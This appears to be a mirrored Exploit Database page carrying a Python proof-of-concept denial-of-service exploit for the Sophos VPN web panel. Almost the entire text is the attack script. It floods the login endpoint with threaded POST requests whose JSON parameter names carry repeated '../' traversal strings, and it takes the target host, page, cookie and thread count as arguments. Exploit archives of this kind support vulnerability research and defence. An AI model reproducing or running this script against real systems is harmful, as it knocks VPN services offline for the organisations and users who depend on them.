Sophos VPN Web Panel 2020 – Denial of Service (Poc)

• Exploit Database
• 119 阅读

• 作者： Berk KIRAS
  日期： 2020-07-22
• 类别：

  • webapps
  平台：

  • multiple
• 来源：https://www.exploit-db.com/exploits/48683/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100

  # Exploit Title: Sophos VPN Web Panel 2020 - Denial of Service (Poc) # Date: 2020-06-17 # Exploit Author: Berk KIRAS # Vendor Homepage: https://www.sophos.com/ # Version:2020 Web Panel # Tested on: Apache # Berk KIRAS PwC - Cyber Security Specialist # Sophos VPN Web Portal Denial of Service Vulnerability # System parse JSON data. If we want to send some JSON with invalid data format #for ex. valid -> {"test","test2"} , invalid -> {"test",PAYLOAD"test2"} # The system can not parse this data fastly and service down # payload_option2 ="../../../../../../../../../FILE./FILE"   #!/usr/bin/python3   import requests import sys import random import threading   def send_req(): cnt = random.randint(9,22) payload= "../"*cnt+&apos;{FILE}&apos; my_datas_params = {"username":"test", payload+"password":"admin", "cookie":"0", "submit":"<div class=\"login_screen_login_button_left\"></div><div class=\"login_screen_login_button_middle\">Oturum Aç</div><div class=\"login_screen_login_button_right\"></div>", "language":"turkish", "browser_id":"kbgacsyo-q4j5o7lr70e"}   # You should change some values into the headers Host_addr = sys.argv[2] Origin=sys.argv[1]+"://"+sys.argv[2] Referrer=sys.argv[1]+"://"+sys.argv[2] Cookie=sys.argv[4] #Headers my_datas_headers ={ "Host":str(Host_addr), "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0", "Accept": "text/javascript, text/html, application/xml, text/xml, */*", "Accept-Language": "tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3", "Accept-Encoding": "gzip, deflate", "X-Requested-With": "XMLHttpRequest", "X-Prototype-Version": "1.6.1_rc3", "Content-type": "application/json; charset=UTF-8", "Origin":Origin, "Connection": "close", "Referer":Referrer, "Cookie":Cookie, } my_datas_headers2 ={ "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0", "Accept": "text/javascript, text/html, application/xml, text/xml, */*", "Accept-Language": "tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3", "Accept-Encoding": "gzip, deflate", "X-Requested-With": "XMLHttpRequest", "X-Prototype-Version": "1.6.1_rc3", "Content-type": "application/json; charset=UTF-8", "Connection": "close", } #If you want to edit and add headers some headers added s = requests.session() #if you want simple-> headers={&apos;User-Agent&apos;: &apos;Mozilla&apos;, &apos;Accept-Encoding&apos;: &apos;gzip, deflate&apos;, &apos;Accept&apos;: &apos;*/*&apos;, &apos;Connection&apos;: &apos;keep-alive&apos;} s.headers.update(my_datas_headers2) print(s.headers.items) r = s.post(sys.argv[1]+"://"+sys.argv[2]+sys.argv[3],data=my_datas_params)   return s def main(): if(len(sys.argv) < 6): print("Usage:1) Implement your headers \n2)change payload if you want \n3) exploit.py <http/https> <domain> <page> <cookie-val> <Thread(1-10)> \nExample-> exploit.py http vpn.test.com /test/index.plx 2\nCoded by b3rkk1r4s | PwC Cyber") sys.exit(0) else: try: req_count=0 while(True): if(int(sys.argv[5])==1): resp = send_req() req_count=req_count+1 print("Sending Requests... Count: "+str(req_count)) else: threads = int(sys.argv[5]) jobs = [] for i in range(0, threads): out_list = list() thread = threading.Thread(target=send_req) jobs.append(thread) for j in jobs: j.start() print("Jobs Started!") # Ensure all of the threads have finished for j in jobs: j.join()   except Exception: print(Exception)   main()